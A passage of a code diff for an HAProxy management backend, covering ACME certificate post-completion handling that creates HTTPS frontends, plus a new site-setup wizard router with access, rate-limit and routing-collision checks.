after the ACME order " + "was staged. Cert was issued but no HTTPS " + "frontend was created. Re-run the wizard " + "against an active cluster, or assign the " + "issued cert to a frontend manually." + ) + await record_event( + order_id, + "post_completion_action_skipped", + severity="ERROR", + message=action["error_detail"], + details={ + "action_index": idx, + "type": action_type, + "missing_cluster_id": cluster_id, + }, + conn=conn, + ) + outcomes.append({ + "index": idx, "status": "error", + "reason": "cluster_missing", + "detail": action["error_detail"], + }) + continue + + # M21/R35: re-check port collision pre-INSERT + collision = await check_bind_port_collision( + conn, cluster_id, bind_address, bind_port + ) + if collision: + action["error"] = "port_collision" + action["error_detail"] = ( + f"bind {bind_address}:{bind_port} already used by frontend id={collision}" + ) + await record_event( + order_id, + "post_completion_action_skipped", + severity="ERROR", + message=action["error_detail"], + details={"action_index": idx, "type": action_type}, + conn=conn, + ) + outcomes.append({ + "index": idx, "status": "error", + "reason": "port_collision", + "detail": action["error_detail"], + }) + continue + + # Bulgu #31 (round-13 audit) — referenced default_backend + # MUST still exist before we insert the deferred HTTPS + # frontend. The wizard's HTTP frontend + backend are + # created at submit time and become part of the + # `bulk-site-create-` config version's snapshot. If + # the operator REJECTS that version between apply and + # post-completion, the snapshot rollback deletes the + # backend rows. `create_frontend_row` would still + # happily INSERT this HTTPS frontend with + # `default_backend='be_xxx'` — and HAProxy then refuses + # to load the config at the next apply with: + # + # [ALERT] : Proxy 'fe_xxx-https' references unknown + # backend 'be_xxx'. + # + # Operator sees an unrecoverable "config parse error" + # AFTER the cert was already issued and the order + # marked 'valid' — leaving an orphan cert and a + # locked-up apply queue. Bail early with a clear + # message so the operator can re-run the wizard or + # create the HTTPS frontend manually pointing at a + # different backend. + default_be_name = fe_cfg.get("default_backend") + if default_be_name: + be_row = await conn.fetchrow( + "SELECT id FROM backends " + "WHERE cluster_id = $1 AND name = $2", + cluster_id, + default_be_name, + ) + if be_row is None: + action["error"] = "backend_missing" + action["error_detail"] = ( + f"default_backend='{default_be_name}' no " + f"longer exists in cluster {cluster_id} " + "— the wizard's bulk-site-create version " + "was likely rejected after issuance. " + "Cert was issued but no HTTPS frontend " + "was created. Re-run the wizard or " + "create the HTTPS frontend manually." + ) + await record_event( + order_id, + "post_completion_action_skipped", + severity="ERROR", + message=action["error_detail"], + details={ + "action_index": idx, + "type": action_type, + "missing_backend": default_be_name, + }, + conn=conn, + ) + outcomes.append({ + "index": idx, "status": "error", + "reason": "backend_missing", + "detail": action["error_detail"], + }) + continue + + # v1.5.0 R12 — Pydantic-light shim with FULL field + # surface. create_frontend_row reads every attribute + # via getattr(payload, X, None), so we MUST forward + # every advanced TLS / HSTS / header field the wizard + # may have stored on frontend_config. Earlier versions + # of this shim only listed a handful of fields, which + # silently dropped HSTS / ALPN / TLS-version / + # compression preferences for ACME-issued HTTPS + # frontends — visible to the user as "I enabled HSTS + # but the frontend doesn't have it" after the LE order + # completed. + from types import SimpleNamespace + fe_payload = SimpleNamespace( + # core + name=fe_name, + bind_address=bind_address, + bind_port=bind_port, + default_backend=fe_cfg.get("default_backend"), + mode=fe_cfg.get("mode", "http"), + ssl_enabled=True, + # routing rules + acl_rules=fe_cfg.get("acl_rules", []), + redirect_rules=fe_cfg.get("redirect_rules", []), + use_backend_rules=fe_cfg.get("use_backend_rules", []), + # tcp-mode + tcp_request_rules=fe_cfg.get("tcp_request_rules"), + # timeouts + capacity + timeout_client=fe_cfg.get("timeout_client"), + timeout_http_request=fe_cfg.get("timeout_http_request"), + maxconn=fe_cfg.get("maxconn"), + rate_limit=fe_cfg.get("rate_limit"), + # observability + traffic shaping + compression=fe_cfg.get("compression"), + log_separate=fe_cfg.get("log_separate"), + monitor_uri=fe_cfg.get("monitor_uri"), + # header injection (HSTS lands here) + request_headers=fe_cfg.get("request_headers"), + response_headers=fe_cfg.get("response_headers"), + # raw HAProxy options (free-form lines) + options=fe_cfg.get("options"), + # advanced TLS — HAProxy 2.4+ bind directives + ssl_alpn=fe_cfg.get("ssl_alpn"), + ssl_npn=fe_cfg.get("ssl_npn"), + ssl_ciphers=fe_cfg.get("ssl_ciphers"), + ssl_ciphersuites=fe_cfg.get("ssl_ciphersuites"), + ssl_min_ver=fe_cfg.get("ssl_min_ver"), + ssl_max_ver=fe_cfg.get("ssl_max_ver"), + ssl_strict_sni=fe_cfg.get("ssl_strict_sni"), + # R17 minimum-parity: ssl_verify (mTLS client auth) + # was already in the SimpleNamespace forwarding list + # but the wizard's SSLChoice now actually populates + # it. No code change here, but call out the contract: + # SimpleNamespace.ssl_verify must reach + # create_frontend_row's HAProxy bind generation. + ssl_verify=fe_cfg.get("ssl_verify"), + ssl_port=fe_cfg.get("ssl_port"), + ssl_cert_path=fe_cfg.get("ssl_cert_path"), + ssl_cert=fe_cfg.get("ssl_cert"), + ) + new_fe_id = await create_frontend_row( + conn, + fe_payload, + cluster_id, + ssl_certificate_id=cert_id, + ssl_enabled=True, + mark_pending=True, + ) + + action["executed_at"] = datetime.utcnow().isoformat() + "Z" + action["created_frontend_id"] = new_fe_id + + # Persist the executed_at flag back to the order (idempotency) + await conn.execute( + """ + UPDATE letsencrypt_orders + SET post_completion_actions = $1::jsonb, updated_at = NOW() + WHERE id = $2 + """, + json.dumps(actions), + order_id, + ) + + # Generate a fresh PENDING config_version so the new + # HTTPS frontend can be applied. + try: + # R18c audit fix (round 1 #4 — KRITIK): pass + # the active transaction connection into the + # config generator. Pre-fix the call obtained + # a SECOND pooled connection, which under + # PostgreSQL READ COMMITTED cannot see the + # uncommitted INSERT that just created the + # HTTPS frontend in this same transaction. + # Result: the new HTTPS frontend was silently + # OMITTED from the post-completion + # config_versions snapshot, so when the + # operator (or auto-apply) deployed the + # ACME-completed config, HAProxy reloaded + # WITHOUT the HTTPS bind for the freshly- + # issued cert. Operator saw "ACME success" + # but the cert never went live until the + # next manual config consolidation. + from services.haproxy_config import generate_haproxy_config_for_cluster + cfg = await generate_haproxy_config_for_cluster(cluster_id, conn) + import hashlib + cfg_hash = hashlib.sha256(cfg.encode()).hexdigest() + ts = int(time.time()) + version_name = f"acme-post-https-{cert_id}-{ts}" + await conn.execute( + """ + INSERT INTO config_versions ( + cluster_id, version_name, config_content, checksum, + is_active, status, description + ) VALUES ($1, $2, $3, $4, FALSE, 'PENDING', $5) + """, + cluster_id, + version_name, + cfg, + cfg_hash, + f"ACME post-completion: HTTPS frontend for cert {cert_id}", + ) + except Exception as cfg_err: + logger.warning( + f"[ACME] post_completion config_version creation failed: {cfg_err}" + ) + + if fe_cfg.get("_auto_apply"): + auto_apply_cluster_ids.add(cluster_id) + if fe_cfg.get("_user_id"): + auto_apply_user_ids.add(fe_cfg["_user_id"]) + + await record_event( + order_id, + "post_completion_action_executed", + severity="INFO", + message=f"Created HTTPS frontend '{fe_name}' from post_completion_actions", + details={"action_index": idx, "frontend_id": new_fe_id}, + conn=conn, + ) + outcomes.append({ + "index": idx, "status": "ok", + "frontend_id": new_fe_id, + "type": action_type, + }) + else: + outcomes.append({ + "index": idx, "status": "skipped", + "reason": f"unknown action type: {action_type}", + }) + except Exception as action_err: + logger.error(f"[ACME] post_completion action {idx} failed: {action_err}", exc_info=True) + outcomes.append({"index": idx, "status": "error", "reason": str(action_err)}) + try: + await record_event( + order_id, + "post_completion_action_failed", + severity="ERROR", + message=str(action_err)[:500], + details={"action_index": idx, "type": action_type}, + conn=conn, + ) + except Exception: + pass + + # Auto-apply if requested + if auto_apply_cluster_ids: + try: + from services.apply_service import apply_cluster_pending + for cid in auto_apply_cluster_ids: + # Order's created_by lookup with admin fallback (M23/M46) + user_for_apply = None + if auto_apply_user_ids: + user_for_apply = next(iter(auto_apply_user_ids)) + if user_for_apply is None: + order_row = await conn.fetchrow( + "SELECT created_by FROM letsencrypt_orders WHERE id = $1", + order_id, + ) + if order_row: + user_for_apply = order_row["created_by"] + # apply_service handles None via is_admin fallback + try: + apply_res = await apply_cluster_pending(cid, user_id=user_for_apply) + await record_event( + order_id, + "post_completion_auto_apply", + severity="INFO", + message=f"Auto-applied cluster {cid} after post_completion_actions", + details={"latest_version": apply_res.get("latest_version")}, + conn=conn, + ) + except Exception as apply_err: + logger.error( + f"[ACME] post_completion auto-apply for cluster {cid} failed: {apply_err}" + ) + await record_event( + order_id, + "post_completion_auto_apply_failed", + severity="ERROR", + message=str(apply_err)[:500], + details={"cluster_id": cid}, + conn=conn, + ) + except Exception as outer_apply_err: + logger.error(f"[ACME] post_completion auto-apply outer failure: {outer_apply_err}") + + return outcomes + + async def _auto_apply_renewal(cert_id: int, cluster_ids: list): """Trigger the same Apply mechanism used by manual Apply for SSL renewals. diff --git a/backend/routers/site_wizard.py b/backend/routers/site_wizard.py new file mode 100644 index 0000000..8725d79 --- /dev/null +++ b/backend/routers/site_wizard.py @@ -0,0 +1,3227 @@ +""" +v1.5.0 Feature B (Issue #14): New Site Setup Wizard router. + +The `Proxied Host` brand name was retired in favour of `Site` for +the user-facing surface; this module file (`routers/site_wizard.py`) +and the API URL prefix (`/api/sites`) follow the new naming. The +legacy URL prefix `/api/proxied-hosts` is preserved as a backward- +compat alias (registered at app-mount time in `main.py`) so any +external integrator still pointing at the old slug keeps working +during a transition window. + +Endpoints (plural prefix `/api/sites`): +- GET /api/sites/suggest - smart-default suggestions +- POST /api/sites/preflight-acme - run ACME diagnostics shape +- POST /api/sites/preview - non-mutating diff preview +- POST /api/sites - atomic multi-entity create +- POST /api/sites/drafts - save wizard draft (PEM stripped) +- GET /api/sites/drafts - list current user's drafts +- DELETE /api/sites/drafts/{draft_id} - delete a draft + +Legacy alias (deprecated, hidden from OpenAPI): +- /api/proxied-hosts/* → 308 redirect to /api/sites/* + +The atomic create flow is ordered: + 1. Pre-create collision checks (R35/M12 + M43/R60) + 2. backend_service.create_backend_row + 3. backend_service.create_server_row * N + 4. SSL branch by mode: + acme -> NO ssl row written (R16); HTTPS frontend deferred + upload -> ssl_service.create_cert_row + HTTPS frontend + existing -> ssl_service.select_existing_cert + HTTPS frontend + none -> skip + 5. HTTP frontend (always) + 6. config_versions PENDING with metadata.bulk_snapshots + pre_apply_snapshot + (version_name = 'bulk-site-create-{ts}'; the legacy + prefix 'bulk-proxied-host-create-{ts}' is still + recognised by the cluster reject path for backward + compat with already-applied versions) + 7. POST-COMMIT: + a) apply_immediately=true -> apply_service.apply_cluster_pending + b) ssl.mode='acme' -> letsencrypt_service.create_order_staged + with post_completion_actions JSONB + c) extend metadata.bulk_snapshots to include the staged + letsencrypt_order id (R43/M27) +""" + +import json +import logging +import re +import time +from datetime import datetime +from typing import Any, Dict, List, Optional + +from asyncpg.exceptions import ( + ForeignKeyViolationError, + UndefinedColumnError, + UndefinedTableError, + UniqueViolationError, +) +from fastapi import APIRouter, Header, HTTPException +from pydantic import ValidationError + +from auth_middleware import check_user_permission, get_current_user_from_token +from database.connection import close_database_connection, get_database_connection +from models.site_wizard import ( + SiteCreate, + SiteDraftCreate, + SitePreflightAcme, + SSLChoice, + _strip_pem_from_payload, +) +from services.acme_diagnostics import run_checks +from services.backend_service import create_backend_row, create_server_row +from services.frontend_service import check_bind_port_collision, create_frontend_row +from services.ssl_service import ( + create_cert_row, + ensure_cluster_junction, + select_existing_cert, + validate_server_ca_bundle_eligibility, +) +from services.letsencrypt_service import create_order_staged +from utils.activity_log import record_event + +logger = logging.getLogger(__name__) + +router = APIRouter( + prefix="/api/sites", + # The HTTP prefix is `/api/sites` to match the user-visible "Site + # Wizard" rebrand. The legacy `/api/proxied-hosts/*` slug is + # preserved as a hidden 308-redirect alias on `main.py` so existing + # external integrators / runbooks continue to work during the + # transition window. + tags=["Sites (New Site Wizard)"], +) + +_RATE_LIMIT_PER_MIN = 5 + + +def _now_ts() -> int: + return int(time.time()) + + +async def _validate_user_cluster_access(user_id: int, cluster_id: int, conn) -> None: + """Mirror of routers/frontend.py:validate_user_cluster_access (admin + bypass + user_pool_access table check). Raises HTTPException on denial. + """ + cluster_exists = await conn.fetchval( + "SELECT id FROM haproxy_clusters WHERE id = $1", cluster_id + ) + if not cluster_exists: + raise HTTPException(status_code=404, detail="Cluster not found") + + is_admin = await conn.fetchval("SELECT is_admin FROM users WHERE id = $1", user_id) + if is_admin: + return + + table_exists = await conn.fetchval( + """ + SELECT EXISTS ( + SELECT 1 FROM information_schema.tables WHERE table_name = 'user_pool_access' + ) + """ + ) + if not table_exists: + return + + user_access = await conn.fetchrow( + """ + SELECT upa.access_level + FROM haproxy_clusters hc + JOIN haproxy_cluster_pools hcp ON hc.pool_id = hcp.id + JOIN user_pool_access upa ON hcp.id = upa.pool_id + WHERE upa.user_id = $1 AND hc.id = $2 AND upa.is_active = TRUE + AND (upa.expires_at IS NULL OR upa.expires_at > CURRENT_TIMESTAMP) + """, + user_id, + cluster_id, + ) + if not user_access: + raise HTTPException( + status_code=403, + detail="You don't have access to this cluster.", + ) + + +async def _can_use_wizard(user_id: int, *, current_user: Optional[dict] = None) -> bool: + """Bug A fix: drafts + suggest are PERSONAL/UTILITY — every authenticated + user may keep their own draft work and probe wizard helpers. Granular + RBAC (`frontend.create`, `ssl.create`, etc.) still gates the actual + create endpoint; this wider check just lets the user reach the wizard + UI without a 403 wall when they hold a read-only role or are + mid-permission-rotation. + + R12 perf fix: previously this helper called `check_user_permission` + up to 6 times in sequence — each call opened a fresh DB connection + and ran a roles-query — so on every drafts list / save / preview the + backend issued up to 6 separate Postgres round-trips. Now we: + * short-circuit on `current_user.is_admin` (no query at all), and + * fall back to a single `get_user_permissions` call and decide in + memory. + + Returns True if the user is admin OR has ANY of the host-management + permissions. + """ + # Admin shortcut — get_current_user_from_token already populates + # `is_admin` from the users table; if the caller passes the user dict + # we can skip the roles roundtrip entirely. + if current_user and current_user.get("is_admin"): + return True + + try: + from auth_middleware import get_user_permissions + perms = await get_user_permissions(user_id) + except Exception: + # On error treat as denied; the existing endpoints already have + # broader auth checks, so failing closed is safe here. + return False + + # R18c round 10 (CRITICAL): seeded role permissions in + # database/migrations.py use the PLURAL resource names — `frontends`, + # `backends`, `ssl` — to match the CRUD routers (frontend.py / + # backend.py / ssl.py). Pre-round-10 this loop checked SINGULAR + # `frontend` / `backend` / `ssl`, which never existed in any seeded + # role's permissions JSONB. Result: every non-admin user got + # `_can_use_wizard=False` regardless of how many wizard-eligible + # permissions their role granted, and the R18c-#7 admin bypass was + # the ONLY thing keeping the feature operable. The fix here aligns + # the resource keys with the rest of the codebase. `ssl` was already + # in the right namespace (ssl.* is the seeded form for both the + # wizard and the SSL Management page). + candidate_perms = ( + ("frontends", "read"), + ("frontends", "create"), + ("ssl", "read"), + ("ssl", "create"), + ("backends", "create"), + ("backends", "read"), + ) + for resource, action in candidate_perms: + if perms.get(resource, {}).get(action, False): + return True + return False + + +async def _enforce_rate_limit(conn, user_id: int, action: str) -> None: + """Per-user-per-minute rate limit driven by user_activity_logs. + + Phase D/I rebrand: the action_name emitted by activity_logger + moved from `proxied_host_*` to `site_*` for the same logical + operation (e.g. `site_acme_preflight` is the post-rebrand name + of the preflight log row). The rate-limit COUNT(*) must look at + BOTH names so: + - the limit cannot be bypassed by an attacker who picks the + legacy action_name (it is no longer emitted, but defensive), + - operators whose recent log rows pre-date the rename are still + counted (a deploy roll happens mid-minute and we don't want + a sudden burst of free quota for an in-flight session). + + The caller passes the canonical `site_*` action; we derive the + legacy `proxied_host_*` companion automatically when the action + starts with `site_` so callers don't have to track both names. + """ + aliases = [action] + if action.startswith("site_"): + legacy = "proxied_host_" + action[len("site_"):] + aliases.append(legacy) + cnt = await conn.fetchval( + """ + SELECT COUNT(*) FROM user_activity_logs + WHERE user_id = $1 AND action = ANY($2::text[]) + AND created_at >= NOW() - INTERVAL '60 seconds' + """, + user_id, + aliases, + ) + if cnt is not None and cnt >= _RATE_LIMIT_PER_MIN: + raise HTTPException( + status_code=429, + detail=f"Rate limit exceeded: {action} allowed {_RATE_LIMIT_PER_MIN}/min", + ) + + +async def _resolve_default_acme_account(conn) -> Optional[int]: + """Round 12 explicit fix: pick the most-recent valid ACME account.""" + return await conn.fetchval( + """ + SELECT id FROM letsencrypt_accounts + WHERE status = 'valid' + ORDER BY created_at DESC + LIMIT 1 + """ + ) + + +async def _find_cluster_port80_http_frontend( + conn, cluster_id: int, exclude_name: Optional[str] = None +) -> Optional[dict]: + """Bulgu #34 (round-15 audit) — return a dict describing the cluster's + existing port-80 HTTP-mode frontend, if any, so the wizard can decide + whether the new site needs its own port-80 binding. + + The renderer (services/haproxy_config.py:974-978) injects the + `/.well-known/acme-challenge/` ACL + `use_backend + _acme_challenge_backend` into EVERY HTTP-mode frontend in a cluster + with `acme_enabled=true`. So when the cluster already has SOME HTTP + frontend listening on port 80, Let's Encrypt's HTTP-01 probe lands + on THAT frontend and the agent serves the token regardless of which + domain LE asked for — the new wizard frontend does NOT need to be + on port 80. + + Returns the most-relevant row (any active HTTP-mode frontend bound to + *:80 or to any of the cluster agents' addresses on :80) or None. + + `exclude_name` lets the caller skip the frontend currently being + created/extended (useful for preflight UI hints). + """ + rows = await conn.fetch( + """ + SELECT id, name, bind_address, bind_port, mode + FROM frontends + WHERE cluster_id = $1 + AND is_active = TRUE + AND mode = 'http' + AND bind_port = 80 + AND ($2::text IS NULL OR name <> $2) + ORDER BY bind_address ASC, id ASC + LIMIT 1 + """, + cluster_id, + exclude_name, + ) + if rows: + r = rows[0] + return { + "id": r["id"], + "name": r["name"], + "bind_address": r["bind_address"], + "bind_port": r["bind_port"], + "mode": r["mode"], + } + return None + + +async def _validate_acme_port80_reachable( + conn, body: SiteCreate +) -> Optional[str]: + """Bulgu #34 (round-15 audit) — cluster-aware HTTP-01 reachability check. + + The legacy SiteCreate model rejected ANY ACME payload that did not + bind on port 80 outright. That blanket rule didn't fit the canonical + enterprise pattern (one shared port-80 frontend host-routing many + sites), so operators on multi-tenant clusters could not use ACME at + all from the wizard. + + Returns: + * None when the payload is acceptable for ACME. + * An actionable human-readable error string otherwise. + + The route handler converts the non-None return into an HTTPException. + Both `create_site` and `preview_create` use it so the message is + consistent across preview and submit. + """ + if body.ssl.mode != "acme": + return None + if body.frontend.bind_port == 80: + # The wizard's own new frontend will serve the challenge. + return None + # Non-80 wizard frontend → the cluster MUST already have a port-80 + # HTTP frontend that the renderer is auto-injecting the ACME ACL + # into. Otherwise LE's HTTP-01 probe has nowhere to land. + existing = await _find_cluster_port80_http_frontend( + conn, body.cluster_id, exclude_name=body.frontend.name + ) + if existing is None: + return ( + f"ssl.mode='acme' with frontend.bind_port={body.frontend.bind_port} " + f"requires the cluster to already have a port-80 HTTP frontend " + "that Let's Encrypt's HTTP-01 probe can reach. Cluster " + f"{body.cluster_id} has no such frontend, so the order would " + "fail at validation. Options: " + "(a) set frontend.bind_port=80 so the wizard's new frontend " + "serves the challenge itself, or " + "(b) first create / activate a shared port-80 HTTP frontend " + "on this cluster (Frontends UI → Add), then re-run the " + "wizard with your preferred non-standard bind port, or " + "(c) switch ssl.mode to 'upload' / 'existing' (no HTTP-01 " + "challenge needed)." + ) + # The renderer only injects the ACME ACL when cluster.acme_enabled + # is on. The route handler checks the flag separately (and gives a + # dedicated error), so we only need to verify reachability here. + return None + + +_HOST_ACL_RE = re.compile( + # Captures hdr(host)[,lower] [-i] tokens followed by domain values + # until the next ACL flag/EOL. Examples this MUST match: + # acl host_x hdr(host) -i example.com + # acl host_x hdr(host),lower example.com www.example.com + # acl host_x hdr_dom(host) example.com + # acl host_x req.hdr(host) -i example.com + r"\b(?:hdr|req\.hdr|hdr_dom|hdr_str|hdr_beg|hdr_end|hdr_reg)\s*" + r"\(\s*host\s*\)(?:\s*,\s*[a-z_]+)*\s+(?:-[a-zA-Z]+\s+)*" + r"(?P[^#\n]+)", + re.IGNORECASE, +) + + +def _extract_host_values_from_acl(rule: str) -> List[str]: + """Bulgu #37 (round-16 audit) — coarse parser for host-match values + inside a single HAProxy `acl …` directive string. + + The wizard stores `acl_rules` as a JSONB list of operator-typed + directive strings (e.g. `host_example hdr(host) -i example.com + www.example.com`). To detect when a new wizard site claims a + domain that ANOTHER active frontend in the same cluster already + routes, we parse out the values following `hdr(host)` / its + aliases. + + The parser intentionally errs on the side of OVER-collecting (we + surface the operator with the matched ACL string anyway, so a + false positive turns into a clear warning rather than a silent + miss). Tokens beginning with `-` (HAProxy flags) and tokens + consumed by trailing match keywords (`if`, `unless`) are dropped + so we don't mistake `if`/`unless` for domain values. + + Returns the lowercased deduped value list. + """ + if not rule or not isinstance(rule, str): + return [] + match = _HOST_ACL_RE.search(rule) + if not match: + return [] + raw = match.group("values").strip() + out: List[str] = [] + seen: set = set() + for tok in raw.split(): + if not tok: + continue + low = tok.lower() + # Stop at trailing match operator keywords (the wizard doesn't + # emit these inline with the values, but operator-typed + # `acl_rules` strings might). + if low in ("if", "unless", "or", "and", "&&", "||"): + break + # Drop HAProxy flags (-i, -m, -f, ...). These can appear + # MID-value list if the operator chained two patterns; we + # treat that as the end-of-value. + if low.startswith("-"): + continue + # Strip wrapping quotes (operators sometimes quote domains). + cleaned = low.strip('"').strip("'") + if not cleaned or cleaned in seen: + continue + seen.add(cleaned) + out.append(cleaned) + return out + + +async def _find_cluster_domain_routing_collisions( + conn, cluster_id: int, domains: List[str], exclude_frontend_name: Optional[str] = None +) -> List[dict]: + """Bulgu #37 (round-16 audit) — scan the cluster's existing frontends + for `acl … hdr(host) … ` matches against the wizard's new + domain list. + + Two sites in the same cluster claiming the same Host-header value + create undefined routing — HAProxy picks the first frontend that + binds the matching address:port, and once a request lands there + the `default_backend` (or use_backend ACL hit order) decides. The + wizard's new frontend on a different port wouldn't directly + collide, but the OPERATOR likely thinks the new site is the + authoritative routing target — wrong. + + Returns a list of `{frontend_id, frontend_name, acl_rule, + conflicting_domains}` dicts (empty when no collisions). Each entry + is human-readable so the caller can surface it directly as a + warning / blocking_error. + """ + if not domains: + return [] + domain_lookup = {d.lower(): d for d in domains} + # Bulgu #53 (round-18 audit) — also scan `use_backend_rules`. + # + # Operators can express host-based routing two equivalent ways: + # + # (A) name the ACL separately and reference it: + # acl_rules = ["host_x hdr(host) -i example.com"] + # use_backend_rules = ["mybe if host_x"] + # + # (B) inline the host condition directly inside use_backend: + # use_backend_rules = ["mybe if { hdr(host) -i example.com }"] + # + # The pre-round-18 collision scan only walked `acl_rules`, so form + # (B) on an existing frontend would never match the new wizard + # site's domain list — silently allowing two frontends to both + # answer for `example.com`. + # + # `redirect_rules` and `tcp_request_rules` can carry the same + # inline hdr(host) pattern. Both are extracted here so the + # scan covers every place a routing decision is taken on the + # Host: header. + rows = await conn.fetch( + """ + SELECT id, name, acl_rules, use_backend_rules, + redirect_rules, tcp_request_rules + FROM frontends + WHERE cluster_id = $1 + AND is_active = TRUE + AND ($2::text IS NULL OR name <> $2) + """, + cluster_id, + exclude_frontend_name, + ) + + def _decode_jsonb_list(raw) -> List: + """JSONB → Python list (handles str/list/None).""" + if not raw: + return [] + try: + if isinstance(raw, str): + decoded = json.loads(raw) + else: + decoded = raw + except (json.JSONDecodeError, TypeError): + return [] + return decoded if isinstance(decoded, list) else [] + + def _row_field(row, key): + """Defensive accessor — asyncpg Records and dict-like stubs + both expose `row[key]`, but a row that was built with a SELECT + list missing one of the new round-18 columns would raise + KeyError. Treat 'missing' as 'no rule of that origin'.""" + try: + return row[key] + except (KeyError, IndexError): + return None + + collisions: List[dict] = [] + for r in rows: + # Merge every source of host conditions on this frontend into + # a single (origin_label, rule_string) sequence. The label is + # surfaced in the warning so the operator knows WHERE the + # conflicting rule lives on the offending frontend. + candidates: List[tuple] = [] + for rule in _decode_jsonb_list(_row_field(r, "acl_rules")): + if isinstance(rule, str): + candidates.append(("acl_rules", rule)) + for rule in _decode_jsonb_list(_row_field(r, "use_backend_rules")): + if isinstance(rule, str): + candidates.append(("use_backend_rules", rule)) + for rule in _decode_jsonb_list(_row_field(r, "redirect_rules")): + # redirect_rules can be either operator-typed strings or + # dict objects with `{"condition": "..."}`. Coerce both. + if isinstance(rule, str): + candidates.append(("redirect_rules", rule)) + elif isinstance(rule, dict): + cond = rule.get("condition") or rule.get("if") or "" + if isinstance(cond, str) and cond: + candidates.append(("redirect_rules", cond)) + for rule in _decode_jsonb_list(_row_field(r, "tcp_request_rules")): + if isinstance(rule, str): + candidates.append(("tcp_request_rules", rule)) + + if not candidates: + continue + for origin, rule in candidates: + host_values = _extract_host_values_from_acl(rule) + if not host_values: + continue + conflicting = sorted( + set(host_values) & set(domain_lookup.keys()) + ) + if conflicting: + collisions.append({ + "frontend_id": r["id"], + "frontend_name": r["name"], + "acl_rule": rule.strip(), + "rule_origin": origin, + "conflicting_domains": conflicting, + }) + return collisions + + +async def _find_pending_acme_order_overlap( + conn, domains: List[str], exclude_order_id: Optional[int] = None +) -> List[dict]: + """Bulgu #38 (round-16 audit) — detect open ACME orders that + already cover any of the wizard's domains. + + Both Let's Encrypt rate-limits and the agent's order-completion + state machine assume each domain is in AT MOST ONE active order + at a time. Two wizard runs racing the same domain produce: + * duplicate LE orders (counts against the 300-new-orders / + 3-hour limit unnecessarily); + * duplicate cert rows once both complete; + * undefined `use_backend` order for the deferred HTTPS frontend + create action. + + Active statuses we treat as overlapping: + * 'wizard_staged' — saved by the wizard, agent not yet + confirmed. + * 'pending' — LE has the order, awaiting validation. + * 'processing' — finalize in flight. + * 'ready' — finalize permitted but not yet run. + * 'valid_pending_apply' — cert downloaded, HTTPS frontend create + still queued. + + Returns `[{order_id, status, overlapping_domains, created_at}]` + (empty when no overlap). + """ + if not domains: + return [] + rows = await conn.fetch( + """ + SELECT id, status, domains, created_at + FROM letsencrypt_orders + WHERE status IN ( + 'wizard_staged', 'pending', 'processing', 'ready', + 'valid_pending_apply' + ) + AND ($2::bigint IS NULL OR id <> $2) + AND EXISTS ( + SELECT 1 FROM jsonb_array_elements_text(domains) AS d + WHERE LOWER(d) = ANY($1::text[]) + ) + ORDER BY created_at DESC + """, + [d.lower() for d in domains], + exclude_order_id, + ) + overlaps: List[dict] = [] + domain_lookup = {d.lower() for d in domains} + for r in rows: + order_domains_raw = r["domains"] + try: + if isinstance(order_domains_raw, str): + order_domains = json.loads(order_domains_raw) + else: + order_domains = order_domains_raw + except (json.JSONDecodeError, TypeError): + order_domains = [] + if not isinstance(order_domains, list): + continue + order_lower = {str(d).lower() for d in order_domains} + overlap = sorted(order_lower & domain_lookup) + if not overlap: + continue + overlaps.append({ + "order_id": r["id"], + "status": r["status"], + "overlapping_domains": overlap, + "created_at": str(r["created_at"]) if r["created_at"] else None, + }) + return overlaps + + +def _describe_reachable_urls(body: "SiteCreate") -> List[str]: + """Bulgu #39 (round-16 audit) — spell out the URLs operators can + actually reach the new site at, given the wizard's chosen ports. + + When `frontend.bind_port != 80` or `ssl.https_bind_port != 443` the + site is NOT reachable at the bare `http(s)://` URL a + browser bookmarks by default. Operators on multi-tenant clusters + (where the default ports are already taken by shared frontends) + routinely don't realise this until end-users complain. Surfacing + the concrete URLs at preview time makes the implication + impossible to miss. + + Returns a list of human-readable URL hints, one per domain × port + combination the wizard will actually expose. + """ + out: List[str] = [] + http_port = body.frontend.bind_port + https_port = body.ssl.https_bind_port if body.ssl.mode != "none" else None + for d in (body.domains or [])[:5]: # cap to 5 to keep banners short + # Skip wildcards in the URL hint (browsers don't request them). + d_show = d.replace("*.", "") + if body.frontend.mode == "http": + if http_port == 80: + out.append(f"http://{d_show}/") + else: + out.append(f"http://{d_show}:{http_port}/") + if https_port is not None: + if https_port == 443: + out.append(f"https://{d_show}/") + else: + out.append(f"https://{d_show}:{https_port}/") + return out + + +def _explain_bind_collision( + *, + bind_address: str, + bind_port: int, + colliding_frontend_id: int, + ssl_mode: str, + is_https: bool = False, +) -> str: + """Bulgu #35 (round-15 audit) — actionable bind-collision message. + + Pre-fix the wizard surfaced collisions with the bare line: + + Bind *:80 already used (frontend id=522) + + which left the operator guessing what to do. Two valid workflows + exist on a multi-tenant cluster — pick a different port for the + new frontend, or extend the existing frontend to also host this + domain — and the operator should see both. The message also + explains the special ACME case: when the existing port-80 frontend + on the cluster ALREADY routes /.well-known/acme-challenge/, the + operator can use ACME on a different port without losing + auto-issuance. + """ + base = ( + f"Bind {bind_address}:{bind_port} is already used by frontend " + f"id={colliding_frontend_id} in this cluster." + ) + is_default_http = (bind_port == 80 and not is_https) + is_default_https = (bind_port == 443 and is_https) + hints: List[str] = [] + if is_default_http: + hints.append( + "(a) change frontend.bind_port to a free port (e.g. 8080). " + "On ACME mode the cluster's existing port-80 frontend will " + "still serve the Let's Encrypt HTTP-01 challenge for your " + "domain — your new frontend does not need to be on port 80." + ) + elif is_default_https: + hints.append( + "(a) change ssl.https_bind_port to a free port (e.g. 8443). " + "Browser traffic to https:// defaults to port 443, " + "so a non-443 HTTPS bind means clients have to type " + "`:8443` explicitly — useful for internal sites or " + "test environments." + ) + else: + hints.append( + "(a) pick a different bind port that is free on this cluster." + ) + hints.append( + f"(b) extend the existing frontend id={colliding_frontend_id} " + "with a host-based routing rule (Frontends UI → edit → Add " + "ACL + use_backend) so it forwards your new domain to the " + "wizard-created backend. This is the canonical multi-tenant " + "HAProxy pattern." + ) + if ssl_mode == "acme" and is_default_http: + hints.append( + "(c) if you are not married to ACME for this site, switch " + "ssl.mode to 'upload' or 'existing' which uses any free " + "port and skips the port-80 HTTP-01 step." + ) + return base + " Options: " + " ".join(hints) + + +def _build_redirect_rules(payload: SiteCreate) -> List[dict]: + """M19: expand https_redirect=true into a redirect_rules JSONB row. + + R11.A-1 fix: pre-fix this row carried both a `type:'scheme'` and a + `location:` field. HAProxy's `redirect scheme` directive + only accepts a literal scheme name (`https`/`http`) — passing a + URL there made the agent's `haproxy -c` reject the config with a + parser error. The `location` field is reserved for + `redirect location `. Emit the canonical scheme-redirect + payload (`scheme` + 